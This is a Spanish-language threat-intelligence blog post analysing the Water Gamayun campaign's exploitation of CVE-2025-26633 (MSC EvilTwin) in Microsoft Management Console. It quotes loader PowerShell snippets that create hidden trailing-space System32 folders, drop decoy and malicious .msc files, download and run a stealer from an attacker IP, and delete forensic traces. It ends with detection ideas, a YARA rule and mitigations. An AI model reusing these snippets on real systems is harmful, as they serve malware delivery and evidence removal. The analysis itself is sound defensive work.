Campaña de Water Gamayun explotando CVE-2025-26633: Análisis técnico de MSC EvilTwin

El 25 de marzo de 2025, el equipo de investigación de Trend Micro identificó una nueva campaña atribuida al actor presuntamente ruso Water Gamayun, también conocido como EncryptHub y Larva-208. En esta operación, los atacantes explotaban CVE-2025-26633, una vulnerabilidad de día cero en Microsoft Management Console (MMC).

Durante el análisis se observó que distribuían los payloads maliciosos a través de múltiples métodos: paquetes de aprovisionamiento (.ppkg), archivos de instalación firmados (.msi) y, de manera destacada, archivos de consola (.msc). En este post vamos a centrarnos en el método de distribución basado en los archivos .msc, ya que convierte a CVE-2025-26633 en un vector de ataque especialmente viable y sigiloso.

¿Qué es un archivo .msc?

Los archivos .msc son configuraciones predefinidas de complementos de la Microsoft Management Console (MMC). Permiten a los administradores cargar rápidamente herramientas de gestión como:

  • compmgmt.msc (Computer Management)
  • gpedit.msc (Group Policy Editor)
  • eventvwr.msc (Event Viewer)
  • devmgmt.msc (Device Manager)
  • services.msc (Services)

Estos archivos pueden contener referencias a múltiples complementos, son programables y editables, y permiten cargar la MMC con un conjunto predeterminado de herramientas. Esta flexibilidad es precisamente lo que explota Water Gamayun.

MSC EvilTwin (CVE-2025-26633): la técnica

La vulnerabilidad MSC EvilTwin reside en el abuso de la propiedad MUIPath de MMC. MUIPath gestiona rutas de archivos de recursos multilingües (.mui) asociadas al idioma del sistema (por ejemplo, en-US para inglés de EE. UU.).

El ataque consiste en:

  1. Crear dos archivos .msc con el mismo nombre.

  2. Ubicar el archivo legítimo en C:\Windows\System32\file.msc.

  3. Ubicar el archivo malicioso en C:\Windows\System32\en-US\file.msc.

Cuando MMC carga el .msc, prioriza cargar los recursos localizados en el directorio de idioma (en-US), ejecutando sin saberlo el archivo malicioso. De ahí el nombre evil-twin o "gemelo malvado".

Variante con espacios finales

Una técnica aún más sigilosa observada por Trend Micro consiste en crear directorios con espacios finales, algo que el sistema de archivos NTFS tolera pero que el Explorador de Windows y muchas herramientas de análisis no manejan bien visualmente. Ejemplo:

C:\Windows \System32
Fijaros en el espacio entre C:\Windows y \System32. Este truco permite ocultar mejor los artefactos maliciosos a simple vista. 

Los dos archivos .msc mencionados anteriormente dentro del loader están codificados en Base64 y escritos en XML...  

El loader malicioso (PowerShell)

El loader de EvilTwin que entrega estos archivos está escrito en PowerShell. Se han utilizado varias versiones del loader en esta campaña. Algunas versiones incluyen el código necesario para crear los directorios con espacios finales. Sin embargo, todas las versiones del loader contienen el archivo .msc codificado en Base64 que se escribe en los directorios System32 adecuados o en los creados con espacios finales, según el loader utilizado.
New-Item "\\?\\C:\Windows \System32" -ItemType Directory
New-Item "\\?\\C:\Windows \System32\en-US" -ItemType Directory
$decodedBytesOriginal = [System.Convert]::FromBase64($originalConsole)
$decodedBytesFakes = [System.Convert]::FromBase64($hackedConsole)
[System.IO.File]::WriteAllBytes("C:\Windows \System32\WMiMgmt.msc", $decodedBytesOriginal)
[System.IO.File]::WriteAllBytes("C:\Windows \System32\en-US\WMiMgmt.msc", $decodedBytesOriginal)
Cabe destacar que todas las versiones del cargador tienen las mismas dos declaraciones de variables; ambas son archivos .msc. La primera es una configuración señuelo creada por el atacante. La configuración legítima tiene la variable $originalConsole:
$originalConsole = "BASE64 ENCODED XML"
El malicioso tiene la variable $hackedConsole
$hackedConsole = "BASE64 ENCODED XML"
El archivo .msc malicioso, al activarse mediante la técnica EvilTwin, provoca que el ejecutable MMC (que incluye el complemento Control ActiveX) cargue, renderice y muestre los componentes del navegador Microsoft Internet Explorer y el contenido HTML de la URL. El atacante integra el método external.ExecuteShellCommand en la etiqueta script de la página HTML maliciosa, lo que provoca que MMC ejecute el comando especificado en el equipo de la víctima. El loader descarga y ejecuta ram.ps1 (el programa de descarga del stealer Rhadamanthys) en un sistema infectado. La localización de ram.ps1 se realiza cuando el archivo .msc malicioso, dentro de su configuración XML, contiene una URL de marcador de posición. Esta se reemplaza por 82[.]115[.]223[.]182/encrypthub/ram, que descarga el script de PowerShell ram.ps1:
Invoke-WebRequest -Uri "https://82[.]115[.]223[.]182/encrypthub/ram/ram.exe" -OutFile "$env:TEMP\transport.exe"
Start-Process "$env:TEMP\transport.exe" -Wait
El script ram.ps1 ejecutado descarga ram.exe, lo renombra como transport.exe y lo almacena en la carpeta temporal del usuario loggeado en el equipo. 

Persistencia y evasión

Cabe destacar que el loader MSC EvilTwin cuenta con funciones adicionales a las descritas anteriormente. Una vez completado el proceso de inicio del proceso WmiMgmt.msc, introduce un retraso de 30 segundos mediante el comando Start-Sleep, probablemente para evitar la detección. 
Start-Sleep -Seconds 30
El loader también realiza una operación de limpieza una vez completadas todas sus tareas; esto depende del loader utilizado. El loader que crea los directorios con los espacios finales los eliminará:
Remove-Item -Path "\\?\\C:\Windows \System32" -Recurse -Force
Remove-Item -Path "\\?\\C:\Windows \System32\en-US" -Recurse -Force
Remove-Item -Path "\\?\\C:\Windows \" -Recurse -Force
El loader se asegura de eliminar cualquier evidencia de directorios creados con espacios finales para minimizar los artefactos forenses en el disco. Para la persistencia, Water Gamayun ha utilizado previamente varias puertas traseras, como DarkWisp y SilentPrism, ambos scripts de PowerShell.

Resumen de la cadena de ataque

1. Acceso Inicial (Spear Phishing / Lure Document)
  • El atacante entrega un loader malicioso mediante phishing o documentos trampa.
2. Ejecución del Loader (PowerShell)
  • El loader crea carpetas especiales con espacios finales (C:\Windows ␣\System32).
  • Dropea dos archivos .msc: uno legítimo y uno malicioso (ambos codificados en Base64).
3. Persistencia y Confusión (EvilTwin via MMC)
  • El archivo malicioso explota CVE-2025-26633 (MSC EvilTwin).
  • El sistema carga el .msc malicioso desde la ruta en-US en lugar del legítimo.
4. Ejecución del Payload (ActiveX / Internet Explorer Component)
  • El .msc malicioso fuerza a MMC.exe a cargar un contenido HTML controlado por el atacante.
  • El HTML ejecuta comandos mediante external.ExecuteShellCommand.
5. Carga de Segundo Stage (PowerShell / Web Request)
  • Se descarga y ejecuta ram.ps1 desde una URL remota.
  • ram.ps1 descarga transport.exe (el stealer Rhadamanthys).
6. Exfiltración y Robo de Información
  • Rhadamanthys Stealer roba credenciales, información del sistema y datos sensibles.
7. Evasión y Limpieza Forense
  • El loader elimina las carpetas creadas (con espacios finales) para borrar evidencias locales.

Recomendaciones de detección

  • Monitorización de creación de carpetas inusuales (C:\Windows␣\System32).

  • Alerta sobre ejecución de MMC (mmc.exe) con parámetros no estándar.

  • Detección de procesos PowerShell auto-ejecutando archivos .msc.

  • Correlación de actividad HTTP hacia IPs no autorizadas (82.115.223.182).

Ejemplo de regla YARA básica:
rule Malicious_WMIMgmt_MSC
{
    meta:
        description = "Detecta artefactos MSC maliciosos usando la técnica EvilTwin"
    strings:
        $str1 = "external.ExecuteShellCommand" wide ascii
    condition:
        $str1
}

Recomendaciones de mitigación

  • Aplicar parche de seguridad CVE-2025-26633 en cuanto esté disponible.

  • Bloqueo de extensiones .msc no firmadas en endpoints.

  • Fortalecer políticas de AppLocker / Windows Defender Application Control (WDAC).

  • Bloquear tráfico a IPs y dominios de IoCs asociados.

  • Monitorizar creación de espacios ocultos en sistemas de archivos.

Conclusión

La explotación de CVE-2025-26633 mediante MSC EvilTwin supone un importante cambio de paradigma, ya que combina:

  • Abuso de recursos legítimos (archivos .msc y MUIPaths),

  • Técnicas de ocultación avanzadas (espacios finales en directorios),

  • Ejecución remota de comandos a través de ActiveX en MMC.

Todo ello minimizando la visibilidad y maximizando la persistencia. Water Gamayun demuestra un nivel de sofisticación considerable que obligará a las organizaciones a reforzar sus controles de integridad de archivos y endurecer sus políticas de ejecución de MMC.

Comentarios